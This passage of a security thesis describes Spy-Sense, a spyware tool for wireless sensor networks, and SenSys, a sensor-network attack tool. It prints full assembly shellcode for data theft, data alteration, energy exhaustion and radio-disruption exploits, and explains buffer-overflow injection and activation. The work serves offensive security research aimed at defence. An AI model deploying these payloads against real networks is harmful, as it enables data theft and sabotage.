the meaning of the messages being sent whereas transactional confidentiality involves preventing

adversaries from learning information based on message creation and flow within the network. Our

tool is capable of threatening all of the above since even in its most benign form, it can simply

consume CPU cycles and network bandwidth.When utilized fully, it can lead to stolen cryptographic

material and other critical application data, breaches in privacy, and the creation of “backdoor”

entries that adversaries can use to target the network with more direct attacks such as Sinkhole

attacks (Chapter 4), Denial of Service attacks (179), Wormholes (Chapter 5), etc.

The remainder of this chapter is organized as follows. Section 7.2 gives a high level description

of Spy-Sense, what it can do and how it threatens sensor network security. Section 7.3 is the heart

of this work; it gives an overview of the tool’s architecture along with a detailed description of all

implemented system components. Assembly code description of all Spy-Sense provided exploits is

presented in Section 7.4. Finally, Section 7.5 concludes this chapter.

7.2 What is Spy-Sense

As the name suggests, Spy-Sense is malicious software that “spies” on sensor node activities and

relays collected information back to the adversary. It can install remotely, secretly, and with-

out consent, a number of stealthy exploits for threatening the network’s security profile. As we

mentioned earlier, examples of exploits include data manipulation, cracking and network damage

(Table 7.1). As the total size of these exploits (312 bytes) is very small, Spy-Sense can be easily

and rapidly injected into the nodes of a sensor network.

Typically, a sensor node is compromised via a software vulnerability (e.g., buffer overflow,

format string specifier, integer overflow, etc.) that allows sequences of code instructions to be

injected and stored anywhere in the mote’s memory. As we described in the previous chapter,

since all sensor nodes execute the same program image and reserve the same memory addresses
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Table 7.1: Spy-Sense Stealthy Exploits

Exploit Description Size (bytes)

Data Theft Report back confidential information. 114
Also, track & record all network activities.

Data Alteration Alter the value of existing data structures. 56
Energy Exhaustion Initiate communications until node drains

all its energy. 102
Radio Communication Shut down radio transceiver or make the node

believe that the transmission failed (regardless 8
Break Down of what is the actual result).
Resource Usage Consume CPU cycles by putting the node in a 22

“sustain” loop for a user-determined period of time.
ID Change Dynamically change the ID of a node, thus affecting 10

the routing process.

for particular operations (as the result of only static memory allocation support), finding such a

vulnerability can leave the entire network exposed to exploit injection and not just a small portion

of it.

Spy-Sense exploits will reside in a continuous memory region in the host sensor platform. They

can operate in stealth mode as they are programmed to change and restore the flow of the system’s

control in such a way so that they don’t let the underlying micro-controller go into an unstable

state. These exploits make use of the existence of an empty, unused and unchecked memory region

reserved to be used as the heap for dynamic memory allocation. This works as an umbrella of all

the exploits masquerading their existence and reliably evading detection. Furthermore, it results

in a permanent exploit injection; the micro-controller’s main logic does not perform any actions on

the heap region, and thus, the only way of erasing heap contents is by physically capturing a node

and forcing it to “hard” reset itself.

All spying software can be easily deployed using the wireless networking nature of the targeted

sensor network. In Section 6.7, we presented in detail how an adversary can perform a “multistage

buffer-overflow attack” for injecting arbitrarily long blocks of code. Spy-Sense automatically takes

care of the construction and transmission of the necessary message stream for sending all loaded

exploits. Once injected, exploits will remain idle until activation. Activation requires from an

adversary to send one last specially crafted packet that redirects the control flow to the beginning

of the injected shellcode, so that it can be executed in stealth mode. Execution can occur as many

times as needed in order to achieve the intruder’s goals. More information on how Spy-Sense sets

up and deploys exploit shellcodes can be found in Section 7.3.2.
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7.2.1 Impact to Sensor Networks

The threat that is imposed by Spy-Sense to the host network is that of any spyware program:

injected shellcodes are hidden, they are difficult to detect and can collect small pieces of information

without the knowledge of the network’s owners. Spy-Sense can be used for cracking the network

and creating “botnets” of compromised nodes that are commonly controlled by the adversary. This

leads not only to possible loss of important data (e.g., cryptographic material, environmental data,

etc.) but also to intensive resource usage.

One of Spy-Sense’s most severe effects is data manipulation, the ability to steal and/or

modify important or confidential information. Examples include cryptographic keys, transactional

data or even private sensitive information in the case of smart environments or assistive healthcare

scenarios. An extension to this “spying” behavior is the ability to track and record all network

activities. Any data or log files reported back to the adversary are transmitted in stealth mode,

through the used communication channel, but in periods of light network traffic in order to look

less conspicuous and avoid detection.

In addition to capturing and altering data, Spy-Sense can create “backdoor” entries that ad-

versaries can use to target the network with more direct attacks. For example, it can change the

ID of a node or inject ghost network nodes in order to perform attacks like Sinkhole, Wormhole,

Data Replay, Zombie attack, etc., in an attempt to bypass or confuse any existing network defense

mechanism. If Spy-Sense is used in combination with sophisticated attack tools like the one pre-

sented in the next chapter, it significantly increases its threat level and the severity of its effects

on the network itself.

Finally, network performance and functionality can also suffer as Spy-Sense can be used to inject

shellcodes that result in intensive resource usage and disruption of the network’s normal operation.

For example, the provided energy exhaustion exploit, once activated, it initiates unnecessary

communications and waits until the node drains all its energy out. Another possible network

disruption exploit is the one causing radio communications break down. This exploit either

shuts down the nodes’ radio transceiver or let the transmission occur but make the originating node

believe that it actually failed, leading it to an infinite loop of re-transmission attempts.

Overall, the fact that Spy-Sense can inject and activate stealthy exploits in sensor nodes without

the network’s knowledge, makes it a particular threat to its security profile since it can cause harm

in a variety of ways. Thus, the threat level of such a tool can be considered as high as the one of

viruses, Internet worms and spyware programs in traditional networking environments.
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Figure 7.1: Spy-Sense spyware Architecture Layout.

7.3 Spy-Sense Architecture Layout

Spy-Sense is based on an intelligent component-based system. The hosted components are capable

of loading predefined exploit profiles, injecting them to the targeted network through a transparent

transmission of a series of specially crafted messages, receiving and logging of all node replies that

report back requested system information. Its core functionality is based on four main conceptual

modules, as depicted in Figure 7.1.

One of the key design goals of Spy-Sense is its wide applicability; it supports exploit injection

attacks and compromise of a wide variety of sensor hardware and network protocols. It can exploit

all vulnerabilities and weaknesses arising from a specific platform despite the followed memory

architecture (Von Neumann and Harvard) since subsequent code injection can be performed in

either of them. Furthermore, while capturing and logging of all node replies is performed in real

time, content analysis can be done either online or offline. We believe that offline analysis provides

a better way of extracting information regarding network activities and information patterns. In

what follows we give a more detailed description of the four basic system components.

7.3.1 Spy-Sense Exploit Loader Component

The exploit loader is responsible for initializing the software by importing all predefined exploit

profiles that reside in the Spy-Sense root folder. Such profiles contain (i) the machine code in-
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Figure 7.2: Spy-Sense Home central page.

structions that will be injected into the host sensor node, and (ii) their symbolic representation

written in assembly language. Exploit loading and registration can occur anytime during Spy-Sense

operation; either upon system boot up or during normal operation by updating the contents of the

corresponding storage folder. The path to this folder is configurable and can be altered by the user

through the Spy-Sense central page, as depicted in Figure 7.2.

All exploit code instructions are contained in files and are loaded one at a time. This is the

most convenient and platform-independent way for a user to define his/her own exploit profiles that

need to be imported in Spy-Sense. Again, new additions can either be performed at boot up time

or during system operation. By default Spy-Sense (in its current version) provides all the exploits

listed in Table 7.1.

7.3.2 Spy-Sense SetUp Engine

This powerful component is able of deploying imported exploits to a selected portion of network

nodes. It comes into play once the Spy-Sense Exploit Loader has successfully finished loading and

registration of any predefined malicious shellcodes. Conceptually, the setup engine communicates

internally with an exploit payload constructor module for creating the appropriate message stream

needed to hold all machine code instructions.

The constructed series of malicious packets are transmitted to the target node in order to inject

the selected instruction sequence into its memory. Fundamental to this operation is the definition

of an address pointer, namely ADDRcopyTo, which points to an appropriate memory address (inside

the heap region) where the code will be stored. After the successful completion of the injection

process, k bytes (k is multiple of 2) of code will have been copied into the target region. These bytes
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Figure 7.3: Spy-Sense screenshot; SetUp Engine for injecting exploits.

must be stored in k/2 consecutive memory addresses, starting from where the ADDRcopyTo points

at the time (Section 6.7.2). Additionally, to avoid bringing the sensor device to an inconsistent

state, it is important to restore control flow, as if program instructions were executed normally.

This is handled automatically by SpySense.

Overall, the exploit payload constructor creates packets consisting of three parts. The first

part provides the data for buffer overflow, as well as the memory address (where the buffer of

received messages is stored), at which the program flow will be directed. The second part provides

the necessary MOV instructions for copying blocks of the exploit code to the heap target region.

Finally, the third part provides the BR(anch) command for restoring the original flow.

All of the above described actions are handled by the user through the Spy-Sense’s graphical

user interface. As depicted in Figure 7.3, once an exploit is selected, the user is presented with

two options: either inject the contained shellcode or preview the created message stream holding

the machine code instructions. In the first case, the setup engine starts a sequential, transparent

transmission of the specially crafted messages created by the payload constructor module. Upon

completion, an appropriate message is displayed for informing the user on the result of the injection

attempt. In the second case, a preview of all message payloads (that are ready for transmission) is

printed to the corresponding exploit information panel.

Prior to the selection of any of these actions, it is mandatory for the user to update all the exploit

injection process settings: (i) the ID of the targeted sensor node, (ii) the value of ADDRcopyTo

address, and (iii) the memory addresses reserved for holding any “exploit function arguments”.

Such arguments describe the number of bytes and the target memory address from where/to data
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Figure 7.4: Spy-Sense screenshot; Exploit Activation component for executing deployed shellcodes.

will be retrieved/injected, the identifier of the spawned exploit task or the time period that the

host node will enter into an intensive resource usage state.

Once these settings are configured, the user can successfully start deploying any of the loaded

Spy-Sense exploits. Status and additional information regarding the currently running injection

process, are displayed in real time by the system visualization component.

7.3.3 Spy-Sense Exploit Activation Component

Once the transmission process is completed, the Spy-Sense setup engine has succeeded to remotely

inject exploit shellcodes into the targeted sensor network. Then, the only step remaining, is to

activate the malware in order to execute its functions. This is where the exploit activation compo-

nent comes into play (Figure 7.4). It handles the last messages that need to be sent for activating

a selected exploit to one or more of the host sensor nodes.

The activation process requires the transmission of a series of specially crafted packets for

redirecting the program flow to the beginning of the exploit shellcode, in the heap target region

(ADDRstartTr), so that it can be executed. Again, the exploit payload constructor module is

responsible for creating such a message stream containing: (i) the values of the selected “exploit

function arguments”, and (ii) a BR instruction that is executed for setting the instruction pointer

to the starting address of the target region, ADDRstartTr.

Activation may result to one-time or recursive exploit execution by firing an internal periodic

task. In the first case, the targeted exploit returns to an idle state, after execution, and waits for

the next activation message. In the second case, a periodic “activation task” is spawned and every
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Figure 7.5: Exploit replies reported back. Payload content storage and visualization.

time it fires, it signals the exploit payload constructor module to repeat the transmission of the

corresponding exploit message stream.

Such tasks are really helpful for “spying” on network activities as Spy-Sense takes care of all

subsequent transmissions and receptions. All replies that are reported back from the targeted sen-

sor nodes are logged, stored in an underlying database (for better offline analysis), and displayed

through the system visualization component, as illustrated in Figure 7.5. Message structure, pay-

load content and time of reception are provided to the user along with a number of operators for

acting on them.

Figure 7.6: Spy-Sense Visualization. Exploits injection and running status, IDs of host sensors and
number of pending tasks.

7.3.4 Spy-Sense Visualization Component

The visualization component displays, in real time, all necessary information related to the imported

exploits, their injection and running status, the IDs of host sensors and the number of pending
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(a)

(b)

Figure 7.7: Exploit traffic reported back. (a) Overall incoming exploit traffic. (b) Replies reported
from each of the host sensor nodes.

activation tasks. Everything is displayed in a friendly graphical user interface. For example, the

overall incoming exploit traffic and reported replies (by each targeted node) are monitored by

continuous graphs, as shown in Figures 7.7 (a) and (b), respectively.

The core functionality implemented by this user interface is the maintenance and update of a

“history profile”, where all the above described information is kept. A snapshot of such a system

history is shown in Figure 7.6. One of the most important pieces of information kept here is the type

and number of exploits that have successfully been performed on a portion of network nodes. As

the time goes on, adversaries can collate incoming reply contents with such statistics for extracting

useful patterns about network activity, loaded applications and the way that sensor nodes interact

with the administrative base station.

7.4 Exploit Analysis & Machine Code Break Down

As we described in Section 7.2.1, Spy-Sense (in its current version) provides a list of predefined

exploits capable of performing data manipulation, cracking and network damage. Fundamental to

a successful exploit injection and activation is the definition of a memory symbol table describing

where in the host’s memory the injected shellcode, along with its “function arguments”, will be

stored (Table 7.2). The symbol table is a list of all the absolute memory addresses that are used

by Spy-Sense SetUp engine and are configured by the user before injection. All provided values

depend on the binary representation of the program image that is loaded in the sensor node.
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Table 7.2: Spy-Sense memory symbol table

Memory Address Description

ADDRstartTR First instruction of the exploit shellcode.
ADDRpacketSent Reply message to be reported back (data theft exploit).
ADDRpayloadSent Address pointer the the reply message’s payload (data theft exploit).
ADDRrestore Code instruction of the reception routine that must be executed once the

program flow is restored
ADDRexploitArg1 First exploit function argument ; number of bytes to be injected/retrieved.
ADDRexploitArg2 Second exploit function argument ; memory address from where/to data

will be retrieved/injected.
ADDRexploitArg3 Third exploit function argument ; identifier of the spawned exploit activa-

tion task.
ADDRexploitArg4 Fourth exploit function argument ; time period of the intensive resource

usage exploit.

Once the memory symbol table is finalized, all shellcode assembler instructions are ready for

injection and execution. The targeted microcontroller register file consists of 16 registers of 16 bits

each, numbered from R0 to R15 (Section 6.4). The first four are reserved by the OS whereas the rest

are for general use and will be used by the injected shellcode, e.g., holding instruction operands or

function arguments. In what follows we will cover the details of all instruction sequences, contained

in each one of the malwares, and how they are executed by the host scheduler.

7.4.1 Data Manipulation Exploits

Data manipulation exploits include shellcodes for data theft and data modification. Data theft code

occupies 114 bytes and, thus, 30 packets will be needed by the setup engine for injecting it into

the heap target region. Two functions are involved in the data theft: (i) retrieval of the selected

data memory region, and (ii) construction and transmission (back to Spy-Sense) of the appropriate

reply message that will hold the extracted information.

Algorithm 7 contains the complete assembly code of the data theft exploit. It is a chain of

instruction sets (IS) each one of them designated for a specific operation. Instructions 1 − 8

initialize the payload of the reply message to be sent, whereas instructions 9−21 copy the retrieved

values to the memory addresses pointing to the payload starting from address ADDRpayloadSent.

Finally, instructions 22− 28 are responsible for actually transmitting the reply packet through the

host’s local transmitter. The invocation of this operation requires the upload of proper arguments

through registers R12-R15 (IS 22−25). The last instruction restores the normal state and program
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Algorithm 7: Data Theft Exploit - Assembly Code
Data: Memory Symbol Table
begin

1. CLR R9; 18. INCD R13;
2. MOV #ADDRpayloadSent, R13; 19. ADD #-2, R14;
3. MOV #0036, R14; 20. CMP #0, R14;
4. MOV @R9, 0(R13); 21. JNZ $-16;
5. INCD R13; 22. MOV #ADDRpacketSent, R12;
6. ADD #-2, R14; 23. MOV #001e, R13;
7. CMP #0, R14; 24. MOV #ADDRpayloadSent, R14;
8. JNZ $-14; 25. MOV #000f, R15;
9. CALL #ADDRnextHop; 26. CALL #68fe; // host transm.
10. MOV R15, &ADDRpayloadSent; 27. CMP.B #1, R15;
11. MOV #1, &(ADDRpayloadSent + 4); 28. JNZ $4;
12. MOV &ADDRexplArg3, &(ADDRpayloadSent + 6); 29. CALL #ae16;
13. MOV &ADDRexplArg2, R9; 30. CLR &ADDRexplArg1;
14. MOV #(ADDRpayloadSent + 8), R13; 31. CLR &ADDRexplArg2;
15. MOV &ADDRexplArg1, R14; 32. CLR &ADDRexplArg3;
16. MOV @R9, 0(R13); 33. BR #ADDRrestore, PC;
17. INCD R9

end

flow of the host node, as if program instructions were executed normally. This masquerades the

exploit activation and reliably evades detection.

The code for data modification occupies 56 bytes and, thus, 14 packets will be needed for

injecting it. As the name suggests, it gives an adversary the ability to secretly modify the value of

an existing memory data structure. This may involve the alteration of either incoming or outgoing

information, and can be as small as manipulating a single byte or an entire data stream. Since

this kind of data interference may not be that obvious to the system host, such exploits can induce

great damage to the targeted network.

Algorithm 8 contains the complete data alteration code. Requested arguments are: (i) the

memory address pointing to the data structure to be modified, and (ii) the buffer with the new

value that will overwrite the existing one. Instructions 3− 15 are actually responsible for copying

the updated value to the targeted data variable stored in the host system.

7.4.2 Cracking Exploits

Cracking exploits include shellcodes for energy exhaustion and manipulation of the host node ID.

Energy exhaustion code occupies 102 bytes and, thus, 26 packets will be needed by the setup engine
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Algorithm 8: Data Alteration Exploit - Assembly Code
Data: Memory Symbol Table
begin

1. CMP #0, &ADDRexplArg1; 11. MOV @R8, 0(R9);
2. JZ $34; 12. INCD R11;
3. CLR R11; 13. MOV R11, R9;
4. MOV &ADDRexplArg2, R12; 14. CMP R14, R9;
5. MOV #270e, R13; 15. JNC $-20;
6. MOV &ADDRexplArg1, R14; 16. CLR &ADDRexplArg1

7. MOV R11, R9; 17. CLR &ADDRexplArg2;
8. MOV R9, R8; 18. CLR &ADDRexplArg3;
9. ADD R12, R9; 19. CALL #ae16;
10. ADD R13, R8; 20. BR #ADDRrestore, PC;

end

for injecting it into the heap target region. The main logic involves the initiation of unnecessary

communications until the host node drains all its energy out.

Algorithm 9: Energy Exhaustion Exploit - Assembly Code
Data: Memory Symbol Table
begin

1. CLR R6; 18. CALL #68fe // host transm.;
2. MOV #ffff, ADDRpayloadSent; 19. CMP.B #1, R15;
3. MOV #ffff, (ADDRpayloadSent + 4); 20. JNZ $24;
4. MOV #ffff, (ADDRpayloadSent + 6); 21. CLR R6;
5. MOV #118a, R9; 22. MOV.B #0001, R15;
6. MOV #(ADDRpayloadSent + 8), R13; 23. MOV #0005, R8;
7. MOV #001c, R14; 24. CALL #ADDRSchedulerRunTask;
8. MOV @R9, 0(R13); 25. DEC R8;
9. INCD R9; 26. CMP #0, R*;
10. INCD R13; 27. JNZ $-10;
11. ADD #-2, R14; 28. CALL #ae16;
12. CMP #0, R14; 29. JNZ $-48;
13. JNZ $-16; 30. INC R6;
14. MOV #ADDRpacketSent, R12; 31. CMP #0064, R6;
15. MOV #0020, R13; 32. JNZ $-30;
16. MOV #ADDRpayloadSent, R14; 33. BR #4000, PC;
17. MOV #000f, R15;

end

Algorithm 9 contains the corresponding assembly code. Instructions 2 − 13 are the first part

of the IS responsible for broadcasting unnecessary dummy packets. Packet payloads occupy the
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maximum default size of 28 bytes by copying random sequences of data bytes residing in the

programs memory. Continuing to the second part of this IS, instructions 14 − 20 invoke the

transmission function for using the host’s local radio. Once this is called, all the necessary data

arguments are loaded (from the corresponding registers) and a task is posted for the underlying

microcontroller scheduler. This task is actually a deferred procedure call. Final instructions 21−29

force the scheduler to run this task by invoking the runTask routine which actually broadcasts the

packet.

The above instruction sets are repeated as many times as needed for the malware to drain the

host’s energy out. Once this is achieved, the last instruction is executed for forcing the node to

shut down. This is done by invoking the internal stop ProgExec routine which, in many program

images, is stored in the memory address b368h.

Algorithm 10: ID Change Exploit - Assembly Code
Data: Memory Symbol Table
begin

1. MOV &ADDRexplArg2, &ADDRlocalID;
2. BR #ADDRrestore, PC;

end

The ID change code occupies only 10 bytes and, thus, 3 packets will be needed for injecting it.

This shellcode is relevant to the data alteration exploit since it manipulates the value of the data

pointer reserved for holding the host’s local ID. Algorithm 10 contains the complete assembly code.

As we can see, it updates the value of the data start reserved ID variable with the one specified

by the user as a function argument.

7.4.3 Network Damage Exploits

Network damage exploits include shellcodes for intensive resource usage and radio communication

break downs. Resource usage code occupies 22 bytes and, thus, 6 packets will be needed for injecting

it into the heap target region. The main logic requires two loop-throughs for consuming CPU cycles.

The outer loop is always set to the highest possible 2-byte integer value, ffffh, whereas the inner

loop is configurable and defines the actual time spent in this intensive cycle usage state.

Algorithm 11 contains the complete assembly code. The requested argument, ADDRexplArg4,

holds the time that the host node will be “stuck” at the exploit sustain level (SL) and depends

on the value of the inner loop (IL). After experiments, we have found that the average time (in

seconds) wasted is given by the expression SL = 0.0062 ∗ IL.

The radio communication break down code occupies 8 bytes and, thus, 2 packets will be needed

for injecting it. This exploit is capable of disrupting the underlying network communications by
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Algorithm 11: Intensive Resource Usage Exploit - Assembly Code
Data: Memory Symbol Table
begin

1. MOV #ffff, R14; 6. DEC R14;
2. MOV &ADDRexplArg4, R13; 7. CMP #-1, R14;
3. DEC R13; 8. JNZ $-16;
4. CMP #-1, R13; 9. BR #ADDRrestore, PC;
5. JNZ $-6;

end

making the originating nodes believe that transmissions failed (regardless of the actual result),

leading them to an infinite loop of re-transmission attempts.

Algorithm 12: Radio Communication Break Down Exploit - Assembly Code
Data: Memory Symbol Table
begin

1. MOV.B &ADDRexplArg2, &ADDRradioStopRequest;
2. BR #ADDRrestore, PC;

end

Algorithm 12 contains the corresponding assembly code. Again, this shellcode is relevant to the

data alteration exploit since it manipulates the value of the data pointer reserved for holding the

current state of the antenna. By changing the value of the RadioM$bShutDownRequest variable to

1 (active) or 0 (inactive), the user can set the state of transmissions and reception attempts.

7.4.4 User Defined Exploits

All the above described exploit shellcodes are provided by the current version of Spy-Sense. They

reside in the corresponding root folder and they are imported by the system exploit loader compo-

nent.

However, as we described in Section 7.3.1, it is possible for an adversary to define her own new

exploit profiles. This requires the creation of a file, containing all the exploit code instructions,

inside the Spy-Sense exploit folder. Further loading and registration will be taken care by the tool

either upon system boot up or during normal operation. The path to this folder is configurable

and can be altered by the user through the Spy-Sense central page, as depicted in Figure 7.2.

7.5 Conclusions

In this chapter, we moved one step further and identified some of the sensor networks vulnerabilities

that can be exploited by an attacker for launching permanent code injection attacks and, eventually,
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spyware programs. As we stated earlier, spying is an invasion of privacy that can lead to serious

repercussions if the data collected lands into unscrupulous hands. We have demonstrated the

disastrous effects of such malware to the host network by building Spy-Sense, the first instance

of a spyware tool capable of compromising a sensor network’s confidentiality and functionality.

Spy-Sense is undetectable, hard to recognize and get rid of, and once activated, it runs in a discrete

background operation without interfering or disrupting normal network operation. It provides the

ability of executing stealthy exploit sequences that can be used in a variety of attacks ranging from

retrieving or manipulating sensitive network data to shutting down a node entirely!

By studying the after-effects of various exploits on the network itself, we wish to motivate a

better design of security protocols that can make them even more resilient to tools like Spy-Sense

and the one presented in the next chapter. As we highlighted in the first part of this thesis, wireless

sensor network security is an important research direction and tools like the current ones may be

used in coming up with even more attractive solutions for defending these types of networks.
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Chapter 8

SenSys: An Attack Tool for
Launching Attacks against WSNs

8.1 Introduction

Building sensor network protocols and applications with an adequate level of security assurance

for their mission, becomes more and more challenging every day as the complexity and tempo of

such networks increases and the number and skill level of attackers continue to grow. These factors

each exacerbate the issue that, to build efficient security mechanisms, researchers must ensure that

they have protected every relevant potential vulnerability; yet, all the previously described modes

of attack and threats are just a snapshot of what an adversary can do since not all networking

vulnerabilities have been exposed. To identify and mitigate such sensor network loopholes, the

development community needs more than just good understanding of the underlying security fea-

tures and requirements. To be effective, the community needs to think outside the box and to have

a firm grasp of the attacker’s perspective and the approaches used for launching attacks. In other

words, researchers must think like attackers to anticipate threats and, thereby, effectively enhance

the network’s security profile.

Due to the traditional shroud of secrecy surrounding exploits, like the ones presented in the

previous chapters, security researchers are often ill-informed in the field of attacks and the ways

used for launching them. Moving one step towards clarifying this picture, in this chapter we present

SenSys, a tool that allows both passive monitoring of transactional data in sensor networks, such as

message rate, mote frequency, message routing, etc., but also discharge of various attacks against

them. To the best of our knowledge, this is the first instance of an attack tool that can be used

to penetrate the confidentiality and functionality of a sensor network. By publishing such a tool,

we seek to facilitate a better understanding of existing attack techniques in order to be better

positioned for improving network security.
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Our tool allows both inspection of a sensor network’s functionality by analyzing overheard

radio messages as well as discharge of various attacks against it. It can identify common applied

protocols and use this information for performing attacks such as Sinkhole attack (Chapter 4),

Replay attack (179), or Code Injection (Chapter 6) in order to take control over the network. Also,

it can extract useful network information such as node crashes, reboots, routing problems, network

partitions, and traffic analysis (overall network traffic or overheard traffic by each sensor node).

The intuition behind the presented work is to build a tool that can be used, eventually, to

compromise the functionality and confidentiality (65) of WSNs. In that way, we can better study

the weaknesses of currently used security protocols. By functionality, we mean the correct operation

of all network nodes as implied by the underlying application, routing and physical layer. The

described tool can disrupt this normal operation by launching a number of attacks, as mentioned

previously (for more details see Section 8.4). Confidentiality is defined as the assurance that

information is accessible only to those authorized to have access. Our tool threatens the privacy of

transactional data since it gives an adversary the ability to learn information by the mere presence

of a message being transmitted. The data gathered from these networks can be analyzed to extract

important information regarding objects, events, and individuals.

The remainder of this chapter is organized as follows. In Section 8.2, we list the ways that an

adversary can compromise data confidentiality including carrier frequency, message size, message

rate, and routing information along with a categorization of attacks that are supported by our tool.

Section 8.3 is the heart of this work; it gives an overview of the tools’ architecture along with a

detailed presentation of all implemented system components. Description of all supported attacks

is presented in Section 8.4. Finally, Section 8.5 concludes the chapter.

8.2 Network Confidentiality Threats & Wireless Attacks

As we discussed in Chapter 2, in wireless networking, the overall security objectives remain the same

as with wired networks: preserving confidentiality, ensuring integrity, and maintaining availability

of information. Thus, identifying risks to sensor networks confidentiality posed by the availability

of transactional data is extremely vital.

In an attempt to identify network confidentiality threats, we enhanced our attack tool with

a network sniffer for overhearing network traffic (Section 8.3.1). In that way an adversary can

process transmitted packets in order to extract vital information such as node IDs or traffic data.

Our assertion is that traffic analysis can provide more information about a network’s nodes and

usage than simply decoding any data packet contents.
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Table 8.1: SenSys supported Wireless Attacks

Type of Attack Description

Eavesdropping Capturing and decoding unprotected network traffic to obtain
potentially sensitive information

Data Replay Capturing and/or modifying data frames for later replay.
Sinkhole Lure as much network traffic as possible from a particular area.
Selective Forwarding Intercept overheard packets and forward them selectively to the

intended receiver.
Flooding Sending forged HELLO (or other data) messages from random

node IDs to cripple the network resources.
Program Image Dissemination Send new program images to sensor nodes overwriting already

existing ones.
Code Injection Crafting and sending forged frames containing malicious code

instructions.

Pai et al. (65) have outlined the ways that an adversary can compromise network confidentiality

including carrier frequency, message rate and size, and routing information. The presented tool can

use carrier frequency to launch a side-channel attack (180) in an attempt to identify the network’s

sensor hardware platform. An adversary could use either a spectrum analyzer or different sensor

hardware in combination with our tool in order to detect the current communication frequency.

Once the adversary discovers it, she can determine the hardware used and, thus, exploit all the

protocol vulnerabilities arising from this specific platform.

This tool can also compromise a network’s confidentiality by monitoring the rate and size of

any transmitted/received messages. Specifically, the message rate can reveal information about the

network application and the frequency of monitored events. This constitutes a severe threat since

for some sensor applications, like health monitoring, it can lead to a violation of user’s privacy.

Furthermore, an adversary can examine the rate at which she overhears messages coming from a

neighborhood and estimate the distance to the sensed event. Research has shown that the message

reception rate increases when the distance to the event reporting node decreases.

Finally, overhearing routing information enables the network sniffing component to construct

a directed graph of all neighboring nodes. Overheard packets flow along the edges of the graph

revealing vital information about the underlying routing pattern. Observing this traffic pattern of

a sensor network may deduce the location of the base station or other strategically located nodes.

Furthermore, multihop communication routing protocols make it possible for an adversary to trace

a stream of messages back to the information source.

Along with all the above threats, our tool can launch a number of attacks in an attempt to
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penetrate a sensor network’s functionality. In order to achieve this, we have implemented a data

stream framework for constructing and transmitting specially crafted packets. Most of the currently

supported wireless attacks fall into one of the following categories:

• Confidentiality Attacks: These attacks attempt to intercept private information sent over

the wireless transmission medium.

• Integrity Attacks: These attacks send forged control, management or data frames to mis-

lead the recipient or facilitate another type of attack.

• Availability Attacks: These attacks impede delivery of wireless messages to legitimate

users by crippling the network resources.

Table 8.1 lists the specific attacks that can be launched by this attack tool (in its current ver-

sion). A more detailed architectural description of the network attack tool components can be found

in Section 8.3. In future work, we plan to enhance it by exploiting more network vulnerabilities

and developing new kinds of attacks.

8.3 Attack Tool Architecture Overview

The attack tool is based on an intelligent component-based system. The hosted components are

capable of monitoring any neighborhood traffic, decoding and logging overheard packets, construct-

ing specially crafted messages and launching a number of attacks. Its core functionality is based

on three main conceptual modules, as depicted in Figure 8.1:

• A network sniffer for passive monitoring and logging of radio packets. Any network traffic

analysis or packet decoding can be done either in real time or offline through the implemented

packet description database.

• A network attack tool that provides a number of actions for compromising a sensor net-

work’s security profile. It contains a data stream framework for constructing specially crafted

packets that are transmitted by the attack launcher throughout the duration of an attack.

• A network visualization component that visualizes and displays the neighborhood topol-

ogy, network traffic, node states and status of any performed attack.

The key design goal of this tool is its wide applicability; it should support passive inspection

and compromise of a wide variety of sensor network protocols and applications. By considering

popular underlying protocols and message structures that are most widely used by the research
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Figure 8.2: Neighborhood topology shown by
SenSys Network Sniffer.

community, we make the tool scalable and adaptive. When any raw network packets are available

in the neighborhood, it uses them as the audit source in order to identify current used software

versions and extract vital network information. While packet capture is performed in real time,

traffic analysis can be done either online or offline. We believe that offline analysis provides a

better way of monitoring and understanding a network’s deployment. In what follows we give a

more detailed description of the basic system components.

8.3.1 Network Sniffer Component

The network sniffer relies on packets that are overheard in a sensor’s node neighborhood. It

captures them and logs them for later analysis. Conceptually the sniffer consists of a Local Packet

Monitoring module for gathering audit data to be forwarded, over its serial port, to the Packet

Storage module for logging at the attached host. This allows offline analysis, through the Packet

Description Database, in order to extract vital network information such as node IDs, traffic data

or used protocol versions. Essentially, the sniffer enables the construction of a directed graph of all

neighboring nodes. Overheard packets flow along the edges of the graph, as shown in Figure 8.2,

and are provided with a number of operators for manipulating them.

Audit data consist of the communication activities within the sniffer’s radio range. Such data

can be collected by listening promiscuously to neighboring nodes’ transmissions. By promiscu-

ously we mean that when a node is within radio range, the local packet monitoring module can
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Figure 8.3: Overheard Packet Content Storage and Visualization.

overhear communications originating from that node. Once captured by the radio, all packets are

timestamped in order to facilitate subsequent time-based analysis. Timestamping is performed the

moment the packet is received by the network sniffer.

Once the sniffer receives a packet, a flexible mechanism (due to lack of standardized protocols

in sensor networks) is needed to decode overheard packets. That is why we have created the Packet

Description Database which contains annotated message structures for the most widely used net-

work protocols and applications (e.g., MintRoute and MultihopLQI routing protocols (Chapter 4),

Delta monitoring application, etc). This way, our packet decoder can use these loaded structures

as a description of the overheard packet contents. The configuration of the packet description

database is extendable and can be enhanced with new message structures. The user can spec-

ify message contents as C structs which will automatically be converted to message classes and be

added to the underlying database. However, even in the case of an unrecognized overheard message,

the sniffer still logs it and provides access and manipulating operators on the byte representation

of its content. Thus, an adversary may alter it and resend it, leading again to other type of attacks

like Replay, Selective Forwarding or even Denial of Service attacks.

All overheard packets are displayed by our network tool through the Network Visualization

component, as illustrated in Figure 8.3. Message structure, packet contents and time of reception

are provided to the user along with a number of operators for acting on them. These operators

provide access, aggregation, alteration or re-transmission privileges for any of the stored messages.

A more detailed description of the network visualization component can be found in Section 8.3.3.
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8.3.2 Network Attack Tool Component

This component’s core functionality is to provide a number of actions for compromising the sensor

network’s security profile. After gathering audit data that are used by the network sniffer to extract

vital information and identify the used sensor hardware platform and underlying protocols, a user

can start launching a number of attacks (list of supported attacks can be found in Table 8.1).

The resulting network information stream from the packet decoder is fed to the Data Stream

Framework of the attack tool component. This data stream processor uses the identified carrier

frequency, message size and routing information as its configuration record. All these network

characteristics are essential since they are used as the basis for any specially crafted message

required by the Attack Launcher.

The attack launcher module is responsible for actually performing attacks like Data Replay,

Sinkhole, Selective Forwarding, Flooding, Reprogramming and Code Injection. All these attacks

either try to manipulate sensor data and functionality or affect the underlying routing topology.

In any case, they allow an adversary to construct and transmit (periodically if necessary) messages

with specially crafted content like fake sender ID, fake link quality or altered routing header. This

is done by the data stream processor, which upon request from the attack launcher, constructs

such a message and transmits it through the attached radio. A more detailed description of the

implemented attacks, and the procedure that a user must follow in order to launch them, can be

found in Section 8.4.

All the above described actions are handled by the user through the graphical user interface

provided by the network visualization component. Furthermore, attack status and additional in-

